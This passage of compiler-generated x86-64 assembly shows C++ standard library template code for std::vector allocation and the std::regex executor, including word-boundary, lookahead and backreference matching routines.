_ZNSt12_Vector_baseISt4pairIlSt6vectorINSt7__cxx119sub_matchIPKcEESaIS6_EEESaIS9_EE11_M_allocateEm mov QWORD PTR [rbp-64], rax mov rax, QWORD PTR [rbp-64] mov QWORD PTR [rbp-24], rax mov rax, QWORD PTR [rbp-112] mov rdi, rax call _ZSt7forwardIRKSt6vectorINSt7__cxx119sub_matchIPKcEESaIS5_EEEOT_RNSt16remove_referenceISA_E4typeE mov rbx, rax mov rax, QWORD PTR [rbp-104] mov rdi, rax call _ZSt7forwardIRlEOT_RNSt16remove_referenceIS1_E4typeE mov rdi, rax mov rax, QWORD PTR [rbp-56] sal rax, 5 mov rdx, rax mov rax, QWORD PTR [rbp-64] lea rsi, [rdx+rax] mov rax, QWORD PTR [rbp-88] mov rcx, rbx mov rdx, rdi mov rdi, rax call _ZNSt16allocator_traitsISaISt4pairIlSt6vectorINSt7__cxx119sub_matchIPKcEESaIS6_EEEEE9constructIS9_JRlRKS8_EEEvRSA_PT_DpOT0_ mov QWORD PTR [rbp-24], 0 mov rax, QWORD PTR [rbp-88] mov rdi, rax call _ZNSt12_Vector_baseISt4pairIlSt6vectorINSt7__cxx119sub_matchIPKcEESaIS6_EEESaIS9_EE19_M_get_Tp_allocatorEv mov rbx, rax lea rax, [rbp-96] mov rdi, rax call _ZNK9__gnu_cxx17__normal_iteratorIPSt4pairIlSt6vectorINSt7__cxx119sub_matchIPKcEESaIS7_EEES2_ISA_SaISA_EEE4baseEv mov rsi, QWORD PTR [rax] mov rdx, QWORD PTR [rbp-64] mov rax, QWORD PTR [rbp-40] mov rcx, rbx mov rdi, rax call _ZSt34__uninitialized_move_if_noexcept_aIPSt4pairIlSt6vectorINSt7__cxx119sub_matchIPKcEESaIS6_EEESA_SaIS9_EET0_T_SD_SC_RT1_ mov QWORD PTR [rbp-24], rax add QWORD PTR [rbp-24], 32 mov rax, QWORD PTR [rbp-88] mov rdi, rax call _ZNSt12_Vector_baseISt4pairIlSt6vectorINSt7__cxx119sub_matchIPKcEESaIS6_EEESaIS9_EE19_M_get_Tp_allocatorEv mov rbx, rax lea rax, [rbp-96] mov rdi, rax call _ZNK9__gnu_cxx17__normal_iteratorIPSt4pairIlSt6vectorINSt7__cxx119sub_matchIPKcEESaIS7_EEES2_ISA_SaISA_EEE4baseEv mov rax, QWORD PTR [rax] mov rdx, QWORD PTR [rbp-24] mov rsi, QWORD PTR [rbp-48] mov rcx, rbx mov rdi, rax call _ZSt34__uninitialized_move_if_noexcept_aIPSt4pairIlSt6vectorINSt7__cxx119sub_matchIPKcEESaIS6_EEESA_SaIS9_EET0_T_SD_SC_RT1_ mov QWORD PTR [rbp-24], rax mov rax, QWORD PTR [rbp-88] mov rdi, rax call _ZNSt12_Vector_baseISt4pairIlSt6vectorINSt7__cxx119sub_matchIPKcEESaIS6_EEESaIS9_EE19_M_get_Tp_allocatorEv mov rdx, rax mov rcx, QWORD PTR [rbp-48] mov rax, QWORD PTR [rbp-40] mov rsi, rcx mov rdi, rax call _ZSt8_DestroyIPSt4pairIlSt6vectorINSt7__cxx119sub_matchIPKcEESaIS6_EEES9_EvT_SB_RSaIT0_E mov rax, QWORD PTR [rbp-88] mov rdx, QWORD PTR [rbp-88] mov rdx, QWORD PTR [rdx+16] sub rdx, QWORD PTR [rbp-40] sar rdx, 5 mov rcx, QWORD PTR [rbp-40] mov rsi, rcx mov rdi, rax call _ZNSt12_Vector_baseISt4pairIlSt6vectorINSt7__cxx119sub_matchIPKcEESaIS6_EEESaIS9_EE13_M_deallocateEPS9_m mov rax, QWORD PTR [rbp-88] mov rdx, QWORD PTR [rbp-64] mov QWORD PTR [rax], rdx mov rax, QWORD PTR [rbp-88] mov rdx, QWORD PTR [rbp-24] mov QWORD PTR [rax+8], rdx mov rax, QWORD PTR [rbp-32] sal rax, 5 mov rdx, rax mov rax, QWORD PTR [rbp-64] add rdx, rax mov rax, QWORD PTR [rbp-88] mov QWORD PTR [rax+16], rdx jmp .L1746 mov rdi, rax call __cxa_begin_catch cmp QWORD PTR [rbp-24], 0 jne .L1741 mov rax, QWORD PTR [rbp-56] sal rax, 5 mov rdx, rax mov rax, QWORD PTR [rbp-64] add rdx, rax mov rax, QWORD PTR [rbp-88] mov rsi, rdx mov rdi, rax call _ZNSt16allocator_traitsISaISt4pairIlSt6vectorINSt7__cxx119sub_matchIPKcEESaIS6_EEEEE7destroyIS9_EEvRSA_PT_ jmp .L1742 .L1741: mov rax, QWORD PTR [rbp-88] mov rdi, rax call _ZNSt12_Vector_baseISt4pairIlSt6vectorINSt7__cxx119sub_matchIPKcEESaIS6_EEESaIS9_EE19_M_get_Tp_allocatorEv mov rdx, rax mov rcx, QWORD PTR [rbp-24] mov rax, QWORD PTR [rbp-64] mov rsi, rcx mov rdi, rax call _ZSt8_DestroyIPSt4pairIlSt6vectorINSt7__cxx119sub_matchIPKcEESaIS6_EEES9_EvT_SB_RSaIT0_E .L1742: mov rax, QWORD PTR [rbp-88] mov rdx, QWORD PTR [rbp-32] mov rcx, QWORD PTR [rbp-64] mov rsi, rcx mov rdi, rax call _ZNSt12_Vector_baseISt4pairIlSt6vectorINSt7__cxx119sub_matchIPKcEESaIS6_EEESaIS9_EE13_M_deallocateEPS9_m call __cxa_rethrow mov rbx, rax call __cxa_end_catch mov rax, rbx mov rdi, rax call _Unwind_Resume .L1746: add rsp, 104 pop rbx pop rbp ret _ZNSt6vectorISt4pairIlS_INSt7__cxx119sub_matchIPKcEESaIS5_EEESaIS8_EE4backEv: push rbp mov rbp, rsp sub rsp, 32 mov QWORD PTR [rbp-24], rdi mov rax, QWORD PTR [rbp-24] mov rdi, rax call _ZNSt6vectorISt4pairIlS_INSt7__cxx119sub_matchIPKcEESaIS5_EEESaIS8_EE3endEv mov QWORD PTR [rbp-8], rax lea rax, [rbp-8] mov esi, 1 mov rdi, rax call _ZNK9__gnu_cxx17__normal_iteratorIPSt4pairIlSt6vectorINSt7__cxx119sub_matchIPKcEESaIS7_EEES2_ISA_SaISA_EEEmiEl mov QWORD PTR [rbp-16], rax lea rax, [rbp-16] mov rdi, rax call _ZNK9__gnu_cxx17__normal_iteratorIPSt4pairIlSt6vectorINSt7__cxx119sub_matchIPKcEESaIS7_EEES2_ISA_SaISA_EEEdeEv nop leave ret _ZN9__gnu_cxx17__normal_iteratorIPKSt4pairIlSt6vectorINSt7__cxx119sub_matchIPKcEESaIS7_EEES2_ISA_SaISA_EEEC2ERKSC_: push rbp mov rbp, rsp mov QWORD PTR [rbp-8], rdi mov QWORD PTR [rbp-16], rsi mov rax, QWORD PTR [rbp-16] mov rdx, QWORD PTR [rax] mov rax, QWORD PTR [rbp-8] mov QWORD PTR [rax], rdx nop pop rbp ret _ZNK9__gnu_cxx17__normal_iteratorIPKSt4pairIlSt6vectorINSt7__cxx119sub_matchIPKcEESaIS7_EEES2_ISA_SaISA_EEE4baseEv: push rbp mov rbp, rsp mov QWORD PTR [rbp-8], rdi mov rax, QWORD PTR [rbp-8] pop rbp ret _ZSt3getILm0EJPbSt14default_deleteIA_bEEERKNSt13tuple_elementIXT_ESt5tupleIJDpT0_EEE4typeERKS8_: push rbp mov rbp, rsp sub rsp, 16 mov QWORD PTR [rbp-8], rdi mov rax, QWORD PTR [rbp-8] mov rdi, rax call _ZSt12__get_helperILm0EPbJSt14default_deleteIA_bEEERKT0_RKSt11_Tuple_implIXT_EJS4_DpT1_EE leave ret _ZSt4moveIRSaISt4pairIlSt6vectorINSt7__cxx119sub_matchIPKcEESaIS6_EEEEEONSt16remove_referenceIT_E4typeEOSD_: push rbp mov rbp, rsp mov QWORD PTR [rbp-8], rdi mov rax, QWORD PTR [rbp-8] pop rbp ret _ZNSt12_Vector_baseISt4pairIlSt6vectorINSt7__cxx119sub_matchIPKcEESaIS6_EEESaIS9_EE12_Vector_implC2EOSA_: push rbp mov rbp, rsp sub rsp, 16 mov QWORD PTR [rbp-8], rdi mov QWORD PTR [rbp-16], rsi mov rax, QWORD PTR [rbp-16] mov rdi, rax call _ZSt4moveIRSaISt4pairIlSt6vectorINSt7__cxx119sub_matchIPKcEESaIS6_EEEEEONSt16remove_referenceIT_E4typeEOSD_ mov rdx, rax mov rax, QWORD PTR [rbp-8] mov rsi, rdx mov rdi, rax call _ZNSaISt4pairIlSt6vectorINSt7__cxx119sub_matchIPKcEESaIS5_EEEEC2ERKS9_ mov rax, QWORD PTR [rbp-8] mov QWORD PTR [rax], 0 mov rax, QWORD PTR [rbp-8] mov QWORD PTR [rax+8], 0 mov rax, QWORD PTR [rbp-8] mov QWORD PTR [rax+16], 0 nop leave ret _ZNSt12_Vector_baseISt4pairIlSt6vectorINSt7__cxx119sub_matchIPKcEESaIS6_EEESaIS9_EE12_Vector_impl12_M_swap_dataERSC_: push rbp mov rbp, rsp sub rsp, 16 mov QWORD PTR [rbp-8], rdi mov QWORD PTR [rbp-16], rsi mov rdx, QWORD PTR [rbp-16] mov rax, QWORD PTR [rbp-8] mov rsi, rdx mov rdi, rax call _ZSt4swapIPSt4pairIlSt6vectorINSt7__cxx119sub_matchIPKcEESaIS6_EEEENSt9enable_ifIXsrSt6__and_IJSt6__not_ISt15__is_tuple_likeIT_EESt21is_move_constructibleISF_ESt18is_move_assignableISF_EEE5valueEvE4typeERSF_SP_ mov rax, QWORD PTR [rbp-16] lea rdx, [rax+8] mov rax, QWORD PTR [rbp-8] add rax, 8 mov rsi, rdx mov rdi, rax call _ZSt4swapIPSt4pairIlSt6vectorINSt7__cxx119sub_matchIPKcEESaIS6_EEEENSt9enable_ifIXsrSt6__and_IJSt6__not_ISt15__is_tuple_likeIT_EESt21is_move_constructibleISF_ESt18is_move_assignableISF_EEE5valueEvE4typeERSF_SP_ mov rax, QWORD PTR [rbp-16] lea rdx, [rax+16] mov rax, QWORD PTR [rbp-8] add rax, 16 mov rsi, rdx mov rdi, rax call _ZSt4swapIPSt4pairIlSt6vectorINSt7__cxx119sub_matchIPKcEESaIS6_EEEENSt9enable_ifIXsrSt6__and_IJSt6__not_ISt15__is_tuple_likeIT_EESt21is_move_constructibleISF_ESt18is_move_assignableISF_EEE5valueEvE4typeERSF_SP_ nop leave ret _ZNKSt12_Vector_baseINSt7__cxx119sub_matchIPKcEESaIS4_EE13get_allocatorEv: push rbp mov rbp, rsp sub rsp, 16 mov QWORD PTR [rbp-8], rdi mov QWORD PTR [rbp-16], rsi mov rax, QWORD PTR [rbp-16] mov rdi, rax call _ZNKSt12_Vector_baseINSt7__cxx119sub_matchIPKcEESaIS4_EE19_M_get_Tp_allocatorEv mov rdx, rax mov rax, QWORD PTR [rbp-8] mov rsi, rdx mov rdi, rax call _ZNSaINSt7__cxx119sub_matchIPKcEEEC1ERKS4_ mov rax, QWORD PTR [rbp-8] leave ret _ZNSt12_Vector_baseINSt7__cxx119sub_matchIPKcEESaIS4_EE12_Vector_impl12_M_swap_dataERS7_: push rbp mov rbp, rsp sub rsp, 16 mov QWORD PTR [rbp-8], rdi mov QWORD PTR [rbp-16], rsi mov rdx, QWORD PTR [rbp-16] mov rax, QWORD PTR [rbp-8] mov rsi, rdx mov rdi, rax call _ZSt4swapIPNSt7__cxx119sub_matchIPKcEEENSt9enable_ifIXsrSt6__and_IJSt6__not_ISt15__is_tuple_likeIT_EESt21is_move_constructibleISA_ESt18is_move_assignableISA_EEE5valueEvE4typeERSA_SK_ mov rax, QWORD PTR [rbp-16] lea rdx, [rax+8] mov rax, QWORD PTR [rbp-8] add rax, 8 mov rsi, rdx mov rdi, rax call _ZSt4swapIPNSt7__cxx119sub_matchIPKcEEENSt9enable_ifIXsrSt6__and_IJSt6__not_ISt15__is_tuple_likeIT_EESt21is_move_constructibleISA_ESt18is_move_assignableISA_EEE5valueEvE4typeERSA_SK_ mov rax, QWORD PTR [rbp-16] lea rdx, [rax+16] mov rax, QWORD PTR [rbp-8] add rax, 16 mov rsi, rdx mov rdi, rax call _ZSt4swapIPNSt7__cxx119sub_matchIPKcEEENSt9enable_ifIXsrSt6__and_IJSt6__not_ISt15__is_tuple_likeIT_EESt21is_move_constructibleISA_ESt18is_move_assignableISA_EEE5valueEvE4typeERSA_SK_ nop leave ret _ZSt15__alloc_on_moveISaINSt7__cxx119sub_matchIPKcEEEEvRT_S7_: push rbp mov rbp, rsp sub rsp, 32 mov QWORD PTR [rbp-24], rdi mov QWORD PTR [rbp-32], rsi mov rdx, QWORD PTR [rbp-32] mov rax, QWORD PTR [rbp-24] mov rsi, rdx mov rdi, rax call _ZSt18__do_alloc_on_moveISaINSt7__cxx119sub_matchIPKcEEEEvRT_S7_St17integral_constantIbLb1EE nop leave ret _ZNKSt10unique_ptrIA_bSt14default_deleteIS0_EEixEm: push rbp mov rbp, rsp sub rsp, 16 mov QWORD PTR [rbp-8], rdi mov QWORD PTR [rbp-16], rsi mov rax, QWORD PTR [rbp-8] mov rdi, rax call _ZNKSt10unique_ptrIA_bSt14default_deleteIS0_EE3getEv mov rdx, rax mov rax, QWORD PTR [rbp-16] add rax, rdx leave ret _ZNSt8__detail9_ExecutorIPKcSaINSt7__cxx119sub_matchIS2_EEENS3_12regex_traitsIcEELb0EE16_M_rep_once_moreENS9_11_Match_modeEl: push rbp mov rbp, rsp sub rsp, 64 mov QWORD PTR [rbp-40], rdi mov eax, esi mov QWORD PTR [rbp-56], rdx mov BYTE PTR [rbp-44], al mov rax, QWORD PTR [rbp-40] mov rax, QWORD PTR [rax+56] lea rdx, [rax+56] mov rax, QWORD PTR [rbp-56] mov rsi, rax mov rdi, rdx call _ZNKSt6vectorINSt8__detail6_StateIcEESaIS2_EEixEm mov QWORD PTR [rbp-8], rax mov rax, QWORD PTR [rbp-40] lea rdx, [rax+72] mov rax, QWORD PTR [rbp-56] mov rsi, rax mov rdi, rdx call _ZNSt6vectorISt4pairIPKciESaIS3_EEixEm mov QWORD PTR [rbp-16], rax mov rax, QWORD PTR [rbp-16] mov eax, DWORD PTR [rax+8] test eax, eax je .L1765 mov rax, QWORD PTR [rbp-16] mov rdx, QWORD PTR [rax] mov rax, QWORD PTR [rbp-40] mov rax, QWORD PTR [rax+24] cmp rdx, rax je .L1766 .L1765: mov rax, QWORD PTR [rbp-16] mov rdx, QWORD PTR [rax+8] mov rax, QWORD PTR [rax] mov QWORD PTR [rbp-32], rax mov QWORD PTR [rbp-24], rdx mov rax, QWORD PTR [rbp-40] mov rdx, QWORD PTR [rax+24] mov rax, QWORD PTR [rbp-16] mov QWORD PTR [rax], rdx mov rax, QWORD PTR [rbp-16] mov DWORD PTR [rax+8], 1 mov rax, QWORD PTR [rbp-8] mov rdx, QWORD PTR [rax+16] movzx ecx, BYTE PTR [rbp-44] mov rax, QWORD PTR [rbp-40] mov esi, ecx mov rdi, rax call _ZNSt8__detail9_ExecutorIPKcSaINSt7__cxx119sub_matchIS2_EEENS3_12regex_traitsIcEELb0EE6_M_dfsENS9_11_Match_modeEl lea rdx, [rbp-32] mov rax, QWORD PTR [rbp-16] mov rsi, rdx mov rdi, rax call _ZNSt4pairIPKciEaSERKS2_ nop jmp .L1768 .L1766: mov rax, QWORD PTR [rbp-16] mov eax, DWORD PTR [rax+8] cmp eax, 1 jg .L1768 mov rax, QWORD PTR [rbp-16] mov eax, DWORD PTR [rax+8] lea edx, [rax+1] mov rax, QWORD PTR [rbp-16] mov DWORD PTR [rax+8], edx mov rax, QWORD PTR [rbp-8] mov rdx, QWORD PTR [rax+16] movzx ecx, BYTE PTR [rbp-44] mov rax, QWORD PTR [rbp-40] mov esi, ecx mov rdi, rax call _ZNSt8__detail9_ExecutorIPKcSaINSt7__cxx119sub_matchIS2_EEENS3_12regex_traitsIcEELb0EE6_M_dfsENS9_11_Match_modeEl mov rax, QWORD PTR [rbp-16] mov eax, DWORD PTR [rax+8] lea edx, [rax-1] mov rax, QWORD PTR [rbp-16] mov DWORD PTR [rax+8], edx .L1768: nop leave ret _ZNSt4pairIPKcS1_EaSERKS2_: push rbp mov rbp, rsp mov QWORD PTR [rbp-8], rdi mov QWORD PTR [rbp-16], rsi mov rax, QWORD PTR [rbp-16] mov rdx, QWORD PTR [rax] mov rax, QWORD PTR [rbp-8] mov QWORD PTR [rax], rdx mov rax, QWORD PTR [rbp-16] mov rdx, QWORD PTR [rax+8] mov rax, QWORD PTR [rbp-8] mov QWORD PTR [rax+8], rdx mov rax, QWORD PTR [rbp-8] pop rbp ret _ZNKSt8__detail9_ExecutorIPKcSaINSt7__cxx119sub_matchIS2_EEENS3_12regex_traitsIcEELb0EE11_M_at_beginEv: push rbp mov rbp, rsp sub rsp, 16 mov QWORD PTR [rbp-8], rdi mov rax, QWORD PTR [rbp-8] mov rdx, QWORD PTR [rax+24] mov rax, QWORD PTR [rbp-8] mov rax, QWORD PTR [rax+32] cmp rdx, rax jne .L1772 mov esi, 128 mov edi, 1 call _ZNSt15regex_constantsorENS_15match_flag_typeES0_ mov edx, eax mov rax, QWORD PTR [rbp-8] mov eax, DWORD PTR [rax+136] mov esi, edx mov edi, eax call _ZNSt15regex_constantsanENS_15match_flag_typeES0_ test eax, eax jne .L1772 mov eax, 1 jmp .L1773 .L1772: mov eax, 0 .L1773: leave ret _ZNKSt8__detail9_ExecutorIPKcSaINSt7__cxx119sub_matchIS2_EEENS3_12regex_traitsIcEELb0EE9_M_at_endEv: push rbp mov rbp, rsp sub rsp, 16 mov QWORD PTR [rbp-8], rdi mov rax, QWORD PTR [rbp-8] mov rdx, QWORD PTR [rax+24] mov rax, QWORD PTR [rbp-8] mov rax, QWORD PTR [rax+40] cmp rdx, rax jne .L1776 mov rax, QWORD PTR [rbp-8] mov eax, DWORD PTR [rax+136] mov esi, 2 mov edi, eax call _ZNSt15regex_constantsanENS_15match_flag_typeES0_ test eax, eax jne .L1776 mov eax, 1 jmp .L1777 .L1776: mov eax, 0 .L1777: leave ret _ZNKSt8__detail9_ExecutorIPKcSaINSt7__cxx119sub_matchIS2_EEENS3_12regex_traitsIcEELb0EE16_M_word_boundaryEv: push rbp mov rbp, rsp sub rsp, 48 mov QWORD PTR [rbp-40], rdi mov rax, QWORD PTR [rbp-40] mov rdx, QWORD PTR [rax+24] mov rax, QWORD PTR [rbp-40] mov rax, QWORD PTR [rax+32] cmp rdx, rax jne .L1780 mov rax, QWORD PTR [rbp-40] mov eax, DWORD PTR [rax+136] mov esi, 4 mov edi, eax call _ZNSt15regex_constantsanENS_15match_flag_typeES0_ test eax, eax je .L1780 mov eax, 1 jmp .L1781 .L1780: mov eax, 0 .L1781: test al, al je .L1782 mov eax, 0 jmp .L1783 .L1782: mov rax, QWORD PTR [rbp-40] mov rdx, QWORD PTR [rax+24] mov rax, QWORD PTR [rbp-40] mov rax, QWORD PTR [rax+40] cmp rdx, rax jne .L1784 mov rax, QWORD PTR [rbp-40] mov eax, DWORD PTR [rax+136] mov esi, 8 mov edi, eax call _ZNSt15regex_constantsanENS_15match_flag_typeES0_ test eax, eax je .L1784 mov eax, 1 jmp .L1785 .L1784: mov eax, 0 .L1785: test al, al je .L1786 mov eax, 0 jmp .L1783 .L1786: mov BYTE PTR [rbp-1], 0 mov rax, QWORD PTR [rbp-40] mov rdx, QWORD PTR [rax+24] mov rax, QWORD PTR [rbp-40] mov rax, QWORD PTR [rax+32] cmp rdx, rax jne .L1787 mov rax, QWORD PTR [rbp-40] mov eax, DWORD PTR [rax+136] mov esi, 128 mov edi, eax call _ZNSt15regex_constantsanENS_15match_flag_typeES0_ test eax, eax je .L1788 .L1787: mov eax, 1 jmp .L1789 .L1788: mov eax, 0 .L1789: test al, al je .L1790 mov rax, QWORD PTR [rbp-40] mov rax, QWORD PTR [rax+24] mov QWORD PTR [rbp-16], rax mov rax, QWORD PTR [rbp-16] mov esi, 1 mov rdi, rax call _ZSt4prevIPKcET_S2_NSt15iterator_traitsIS2_E15difference_typeE movzx eax, BYTE PTR [rax] movsx edx, al mov rax, QWORD PTR [rbp-40] mov esi, edx mov rdi, rax call _ZNKSt8__detail9_ExecutorIPKcSaINSt7__cxx119sub_matchIS2_EEENS3_12regex_traitsIcEELb0EE10_M_is_wordEc test al, al je .L1790 mov BYTE PTR [rbp-1], 1 .L1790: mov rax, QWORD PTR [rbp-40] mov rdx, QWORD PTR [rax+24] mov rax, QWORD PTR [rbp-40] mov rax, QWORD PTR [rax+40] cmp rdx, rax je .L1792 mov rax, QWORD PTR [rbp-40] mov rax, QWORD PTR [rax+24] movzx eax, BYTE PTR [rax] movsx edx, al mov rax, QWORD PTR [rbp-40] mov esi, edx mov rdi, rax call _ZNKSt8__detail9_ExecutorIPKcSaINSt7__cxx119sub_matchIS2_EEENS3_12regex_traitsIcEELb0EE10_M_is_wordEc test al, al je .L1792 mov eax, 1 jmp .L1793 .L1792: mov eax, 0 .L1793: mov BYTE PTR [rbp-17], al movzx eax, BYTE PTR [rbp-1] cmp al, BYTE PTR [rbp-17] setne al .L1783: leave ret _ZNSt8__detail9_ExecutorIPKcSaINSt7__cxx119sub_matchIS2_EEENS3_12regex_traitsIcEELb0EE12_M_lookaheadEl: push rbp mov rbp, rsp push rbx sub rsp, 200 mov QWORD PTR [rbp-200], rdi mov QWORD PTR [rbp-208], rsi mov rdx, QWORD PTR [rbp-200] lea rax, [rbp-48] mov rsi, rdx mov rdi, rax call _ZNSt6vectorINSt7__cxx119sub_matchIPKcEESaIS4_EEC1ERKS6_ mov rax, QWORD PTR [rbp-200] mov r8d, DWORD PTR [rax+136] mov rax, QWORD PTR [rbp-200] mov rdi, QWORD PTR [rax+48] mov rax, QWORD PTR [rbp-200] mov rdx, QWORD PTR [rax+40] mov rax, QWORD PTR [rbp-200] mov rsi, QWORD PTR [rax+24] lea rcx, [rbp-48] lea rax, [rbp-192] mov r9d, r8d mov r8, rdi mov rdi, rax call _ZNSt8__detail9_ExecutorIPKcSaINSt7__cxx119sub_matchIS2_EEENS3_12regex_traitsIcEELb0EEC1ES2_S2_RSt6vectorIS5_S6_ERKNS3_11basic_regexIcS8_EENSt15regex_constants15match_flag_typeE mov rax, QWORD PTR [rbp-208] mov QWORD PTR [rbp-64], rax lea rax, [rbp-192] mov rdi, rax call _ZNSt8__detail9_ExecutorIPKcSaINSt7__cxx119sub_matchIS2_EEENS3_12regex_traitsIcEELb0EE20_M_search_from_firstEv test al, al je .L1795 mov QWORD PTR [rbp-24], 0 .L1798: lea rax, [rbp-48] mov rdi, rax call _ZNKSt6vectorINSt7__cxx119sub_matchIPKcEESaIS4_EE4sizeEv cmp QWORD PTR [rbp-24], rax setb al test al, al je .L1796 mov rdx, QWORD PTR [rbp-24] lea rax, [rbp-48] mov rsi, rdx mov rdi, rax call _ZNSt6vectorINSt7__cxx119sub_matchIPKcEESaIS4_EEixEm movzx eax, BYTE PTR [rax+16] test al, al je .L1797 mov rdx, QWORD PTR [rbp-24] lea rax, [rbp-48] mov rsi, rdx mov rdi, rax call _ZNSt6vectorINSt7__cxx119sub_matchIPKcEESaIS4_EEixEm mov rbx, rax mov rax, QWORD PTR [rbp-200] mov rdx, QWORD PTR [rbp-24] mov rsi, rdx mov rdi, rax call _ZNSt6vectorINSt7__cxx119sub_matchIPKcEESaIS4_EEixEm mov rsi, rbx mov rdi, rax call _ZNSt7__cxx119sub_matchIPKcEaSERKS3_ .L1797: add QWORD PTR [rbp-24], 1 jmp .L1798 .L1796: mov ebx, 1 jmp .L1799 .L1795: mov ebx, 0 .L1799: lea rax, [rbp-192] mov rdi, rax call _ZNSt8__detail9_ExecutorIPKcSaINSt7__cxx119sub_matchIS2_EEENS3_12regex_traitsIcEELb0EED1Ev lea rax, [rbp-48] mov rdi, rax call _ZNSt6vectorINSt7__cxx119sub_matchIPKcEESaIS4_EED1Ev mov eax, ebx jmp .L1805 mov rbx, rax lea rax, [rbp-192] mov rdi, rax call _ZNSt8__detail9_ExecutorIPKcSaINSt7__cxx119sub_matchIS2_EEENS3_12regex_traitsIcEELb0EED1Ev jmp .L1802 mov rbx, rax .L1802: lea rax, [rbp-48] mov rdi, rax call _ZNSt6vectorINSt7__cxx119sub_matchIPKcEESaIS4_EED1Ev mov rax, rbx mov rdi, rax call _Unwind_Resume .L1805: add rsp, 200 pop rbx pop rbp ret _ZNKSt8__detail6_StateIcE10_M_matchesEc: push rbp mov rbp, rsp sub rsp, 16 mov QWORD PTR [rbp-8], rdi mov eax, esi mov BYTE PTR [rbp-12], al mov rax, QWORD PTR [rbp-8] mov rdi, rax call _ZNKSt8__detail6_StateIcE14_M_get_matcherEv mov rdx, rax movsx eax, BYTE PTR [rbp-12] mov esi, eax mov rdi, rdx call _ZNKSt8functionIFbcEEclEc leave ret _ZNSt8__detail16_Backref_matcherIPKcNSt7__cxx1112regex_traitsIcEEEC2EbRKS5_: push rbp mov rbp, rsp mov QWORD PTR [rbp-8], rdi mov eax, esi mov QWORD PTR [rbp-24], rdx mov BYTE PTR [rbp-12], al mov rax, QWORD PTR [rbp-8] movzx edx, BYTE PTR [rbp-12] mov BYTE PTR [rax], dl mov rax, QWORD PTR [rbp-8] mov rdx, QWORD PTR [rbp-24] mov QWORD PTR [rax+8], rdx nop pop rbp ret _ZZNSt8__detail16_Backref_matcherIPKcNSt7__cxx1112regex_traitsIcEEE8_M_applyES2_S2_S2_S2_ENKUlccE_clEcc: push rbp mov rbp, rsp push rbx sub rsp, 24 mov QWORD PTR [rbp-24], rdi mov eax, esi mov BYTE PTR [rbp-28], al mov eax, edx mov BYTE PTR [rbp-32], al mov rax, QWORD PTR [rbp-24] mov rax, QWORD PTR [rax+8] movsx edx, BYTE PTR [rbp-28] mov esi, edx mov rdi, rax call _ZNKSt5ctypeIcE7tolowerEc mov ebx, eax mov rax, QWORD PTR [rbp-24] mov rax, QWORD PTR [rax+8] movsx edx, BYTE PTR [rbp-32] mov esi, edx mov rdi, rax call _ZNKSt5ctypeIcE7tolowerEc cmp bl, al sete al add rsp, 24 pop rbx pop rbp ret _ZNSt8__detail16_Backref_matcherIPKcNSt7__cxx1112regex_traitsIcEEE8_M_applyES2_S2_S2_S2_: push rbp mov rbp, rsp push r13 push r12 push rbx sub rsp, 72 mov QWORD PTR [rbp-56], rdi mov QWORD PTR [rbp-64], rsi mov QWORD PTR [rbp-72], rdx mov QWORD PTR [rbp-80], rcx mov QWORD PTR [rbp-88], r8 mov rax, QWORD PTR [rbp-56] movzx eax, BYTE PTR [rax] xor eax, 1 test al, al je .L1812 mov rcx, QWORD PTR [rbp-88] mov rdx, QWORD PTR [rbp-80] mov rsi, QWORD PTR [rbp-72] mov rax, QWORD PTR [rbp-64] mov rdi, rax call _ZSt8__equal4IPKcS1_EbT_S2_T0_S3_ jmp .L1816 .L1812: mov rax, QWORD PTR [rbp-56] mov rdx, QWORD PTR [rax+8] lea rax, [rbp-48] mov rsi, rdx mov rdi, rax call _ZNKSt7__cxx1112regex_traitsIcE6getlocEv lea rax, [rbp-48] mov rdi, rax call _ZSt9use_facetISt5ctypeIcEERKT_RKSt6locale mov QWORD PTR [rbp-40], rax lea rax, [rbp-48] mov rdi, rax call _ZNSt6localeD1Ev mov r12, QWORD PTR [rbp-56] mov r13, QWORD PTR [rbp-40] mov rcx, QWORD PTR [rbp-88] mov rdx, QWORD PTR [rbp-80] mov rsi, QWORD PTR [rbp-72] mov rax, QWORD PTR [rbp-64] mov r8, r12 mov r9, r13 mov rdi, rax call _ZSt8__equal4IPKcS1_ZNSt8__detail16_Backref_matcherIS1_NSt7__cxx1112regex_traitsIcEEE8_M_applyES1_S1_S1_S1_EUlccE_EbT_S9_T0_SA_T1_ nop jmp .L1816 mov rbx, rax lea rax, [rbp-48] mov rdi, rax call _ZNSt6localeD1Ev mov rax, rbx mov rdi, rax call _Unwind_Resume .L1816: add rsp, 72 pop rbx pop r12 pop r13 pop rbp ret _ZSt18__do_alloc_on_copyISaINSt7__cxx119sub_matchIPKcEEEEvRT_RKS6_St17integral_constantIbLb0EE: push rbp mov rbp, rsp mov QWORD PTR [rbp-8], rdi mov QWORD PTR [rbp-16], rsi nop pop rbp ret _ZN9__gnu_cxx17__normal_iteratorIPKNSt7__cxx119sub_matchIPKcEESt6vectorIS5_SaIS5_EEEC2ERKS7_: push rbp mov rbp, rsp mov QWORD PTR [rbp-8], rdi mov QWORD PTR [rbp-16], rsi mov rax, QWORD PTR [rbp-16] mov rdx, QWORD PTR [rax] mov rax, QWORD PTR [rbp-8] mov QWORD PTR [rax], rdx nop pop rbp ret _ZSt22__uninitialized_copy_aIN9__gnu_cxx17__normal_iteratorIPKNSt7__cxx119sub_matchIPKcEESt6vectorIS6_SaIS6_EEEEPS6_S6_ET0_T_SF_SE_RSaIT1_E: push rbp mov rbp, rsp sub rsp, 32 mov QWORD PTR [rbp-8], rdi mov QWORD PTR [rbp-16], rsi mov QWORD PTR [rbp-24], rdx mov QWORD PTR [rbp-32], rcx mov rdx, QWORD PTR [rbp-24] mov rcx, QWORD PTR [rbp-16] mov rax, QWORD PTR [rbp-8] mov rsi, rcx mov rdi, rax call _ZSt18uninitialized_copyIN9__gnu_cxx17__normal_iteratorIPKNSt7__cxx119sub_matchIPKcEESt6vectorIS6_SaIS6_EEEEPS6_ET0_T_SF_SE_ leave ret _ZSt12__miter_baseIN9__gnu_cxx17__normal_iteratorIPKNSt7__cxx119sub_matchIPKcEESt6vectorIS6_SaIS6_EEEEET_SD_: push rbp mov rbp, rsp mov QWORD PTR [rbp-8], rdi mov rax, QWORD PTR [rbp-8] pop rbp ret _ZSt14__copy_move_a2ILb0EN9__gnu_cxx17__normal_iteratorIPKNSt7__cxx119sub_matchIPKcEESt6vectorIS6_SaIS6_EEEENS1_IPS6_SB_EEET1_T0_SG_SF_: push rbp mov rbp, rsp push r12 push rbx sub rsp, 48 mov QWORD PTR [rbp-40], rdi mov QWORD PTR [rbp-48], rsi mov QWORD PTR 